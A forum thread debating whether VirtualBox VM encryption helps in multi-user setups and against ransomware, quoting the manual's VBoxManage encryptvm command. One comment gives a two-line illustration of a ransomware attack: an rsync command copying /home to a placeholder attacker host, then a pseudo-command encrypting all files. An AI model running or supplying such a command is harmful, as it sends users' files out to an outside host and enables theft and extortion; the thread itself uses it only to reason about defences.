Multi-user systems exists, compromise may be at user-level. Sure, if you have root/SYSTEM level access then all bets are off, but defense is like an ogre - it has layers.
Can you name any scenarios where virtualbox is used in a multi user environment where bare metal shell/fs access is possible that are actually real world? If so I would be telling those entities their architecture is wrong and they would probably save on TCO by re-engineering things.
Defence in depth is a legitimate argument under some use cases, but your argument seems to be in favour of over engineering redundant or theoretical security controls rather than creating actual defensible environments.
Any type of shared storage, eg NFS/SMB share or even a local disks/RAID for storing VMs.
Also:
>> When Oracle VM VirtualBox has just started up the encrypted VM cannot be opened and it stays inaccessible. Also, the encrypted VM stays inaccessible if it was just registered without a password or the password is incorrect. The user needs to provide the password using VirtualBox Manager or with the following VBoxManage command:
>> VBoxManage encryptvm uuid|vmname addpassword --password filename|- --password-id ID
https://www.virtualbox.org/manual/UserManual.html#vmencrypti...
rsync -az /home baddie@remote-files.example.com:/your-files/
encrypt-all-files /home
If such a thing were to run on the host hypervisor, it would be reading an encrypted virtual disk file, not its unencrypted contents (since it would be encrypted at rest on the host).I suppose it would be possible for the ransomware to be aware of Virtualbox and somehow manipulate Virtualbox's management plane to get access to unencrypted disk data, but unless you're the victim of a targeted ransomware attack, that's pretty unlikely.